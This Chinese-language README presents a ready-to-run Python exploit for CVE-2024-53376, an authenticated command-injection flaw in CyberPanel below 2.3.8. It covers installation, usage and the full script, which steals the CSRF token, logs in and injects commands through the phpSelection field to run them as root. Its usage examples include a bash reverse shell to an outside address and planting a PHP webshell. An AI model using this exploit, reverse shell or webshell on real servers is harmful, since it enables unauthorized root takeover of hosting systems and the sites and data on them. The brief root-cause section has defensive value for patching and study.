CyberPanel 认证远程代码执行漏洞利用工具 (CVE-2024-53376)

1 阅读4分钟

CyberPanel 认证远程代码执行漏洞利用工具 (CVE-2024-53376)

本项目提供了一个针对 CyberPanel(一个流行的 web 托管控制面板)在版本 低于 2.3.8 时的身份验证远程代码执行(RCE)漏洞的利用工具。该漏洞存在于 /websites/submitWebsiteCreation 端点,允许已登录的攻击者通过操纵 phpSelection 参数注入任意操作系统命令。

功能特性

  • 命令注入利用:通过构造特殊的 HTTP OPTIONS 请求,在创建网站流程中注入系统命令。
  • CSRF Token 自动获取:工具自动处理登录前的 CSRF Token 提取。
  • 会话管理:自动完成身份验证并获取 sessionId 用于后续授权请求。
  • 灵活的命令执行:支持用户自定义要执行的系统命令(默认为 id > /tmp/rce #)。
  • SSL 错误忽略:适配 CyberPanel 默认自签名证书环境,禁用 SSL 验证警告。
  • 根权限执行:注入的命令将以 root 权限执行,可写入系统任意位置。

安装指南

系统要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆本仓库或直接下载 cyberpanel.py 脚本:
git clone https://github.com/ThottySploity/CVE-2024-53376.git
cd CVE-2024-53376
  1. 安装 Python 依赖:
pip install requests

注意:该工具无需额外复杂配置,仅依赖 Python 标准库和 requests 模块。

使用说明

基础用法

python3 cyberpanel.py -t <目标URL> -u <用户名> -p <密码> [-c <命令>]

参数说明

参数说明是否必需
-tCyberPanel 的 IP 地址或域名(例如 https://192.168.1.100:8090
-uCyberPanel 登录用户名
-pCyberPanel 登录密码
-c要执行的系统命令(默认:id > /tmp/rce #

典型使用场景

场景一:执行默认命令(写入 /tmp/rce 文件)
python3 cyberpanel.py -t https://192.168.1.100:8090 -u admin -p password123

执行后,会在目标服务器的 /tmp/rce 文件中写入 id 命令的输出结果。

场景二:执行自定义命令(反弹 Shell)
python3 cyberpanel.py -t https://target.com:8090 -u admin -p admin123 -c "bash -i >& /dev/tcp/192.168.1.200/4444 0>&1 &"
场景三:写入 Webshell
python3 cyberpanel.py -t https://target.com:8090 -u admin -p admin123 -c "echo '<?php system($_GET[cmd]);?>' > /usr/local/lsws/example.com/html/shell.php"

预期输出

[+] Obtained the following CSRFTOKEN: csrftoken=xxxxxx
[+] Obtained the following sessionId: sessionid=yyyyyy
[+] Exploit succeeded
[+] Executed: id > /tmp/rce #

漏洞利用原理

  1. 获取 CSRF Token:通过 GET 请求目标主页,从响应头中提取 csrftoken
  2. 身份验证:使用用户名、密码和 CSRF Token 向 /verifyLogin 端点发送 POST 请求,获取 sessionid
  3. 构造恶意请求:向 /websites/submitWebsiteCreation 端点发送 OPTIONS 请求,在 phpSelection 参数中注入命令(例如 PHP 8.0'; <command>; #)。
  4. 命令执行:后端在创建网站流程中未对 phpSelection 进行充分过滤,导致注入的命令被系统执行。

核心代码

以下为核心利用脚本的关键代码片段及注释:

#!/usr/bin/python3
# CVE-2024-53376
# Exploit Title: CyberPanel - Authenticated Remote Code Execution (RCE)
# Exploit Author: Ryan Putman

import argparse, requests, json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# 禁用 SSL 错误(CyberPanel 使用自签名证书)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address or domain of Cyberpanel', required=True)
arg_parser.add_argument('-u', metavar='username', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-c', metavar='cmd', default='id > /tmp/rce #', help='command to execute')
args = arg_parser.parse_args()

# 获取用于身份验证的 CSRF token
csrf_token = requests.get(args.t, verify=False).headers.get('Set-Cookie').split(';')[0]

if len(csrf_token) > 0:
    print(f"[+] Obtained the following CSRFTOKEN: {csrf_token}")

payload = {
    "username": args.u,
    "password": args.p,
    "languageSelection": "english",
}

headers = {
    'Cookie': csrf_token,
    'Accept': 'application/json',
    'X-Csrftoken': csrf_token.replace('csrftoken=', ''),
    'Origin': 'https://localhost:8090',
    'Referer': 'https://localhost:8090/',
    'Connection': 'close'
}

# 获取用于授权的 sessionId
sessionId = requests.post(
    "{}/verifyLogin".format(args.t),
    headers=headers,
    data=json.dumps(payload),
    verify=False,
).headers.get('Set-Cookie').split(';')[1].replace(" Path=/, ", "")

if len(sessionId) > 0:
    print(f"[+] Obtained the following sessionId: {sessionId}")

exploitHeaders = {
    'Cookie': f'{csrf_token}; django_language=en; {sessionId}',
    'Accept': 'application/json',
    'X-Csrftoken': csrf_token.replace('csrftoken=', ''),
    'Origin': 'https://localhost:8090',
    'Referer': 'https://localhost:8090/',
    'Connection': 'close'
}

# 构造恶意 payload,命令注入点位于 phpSelection 字段
exploitPayload = {
    "package": "Default",
    "domainName": "cyberpanel.net",
    "adminEmail": "cyberpanel@gmail.com",
    "phpSelection": f"PHP 8.0'; {args.c}; #",  # 命令注入
    "ssl":0,
    "websiteOwner":"admin",
    "dkimCheck":0,
    "openBasedir":0,
    "mailDomain":0,
    "apacheBackend":0,
}

# 向漏洞端点发送恶意 OPTIONS 请求
exploitRequest = requests.options(f"{args.t}/websites/submitWebsiteCreation", headers=exploitHeaders, data=json.dumps(exploitPayload), verify=False)

if exploitRequest.status_code == 200:
    print("[+] Exploit succeeded")
    print(f"[+] Executed: {args.c}")

漏洞根源

websiteFunctions/views.pysubmitWebsiteCreation 函数中,用户可控的 phpSelection 参数未经充分过滤即被传递到底层系统命令执行函数(如 website.py 中的 submitWebsiteCreation),导致攻击者可以注入任意命令并以 root 权限执行。 6HFtX5dABrKlqXeO5PUv/63xAB/C5+AW4zPvj2B7cmo=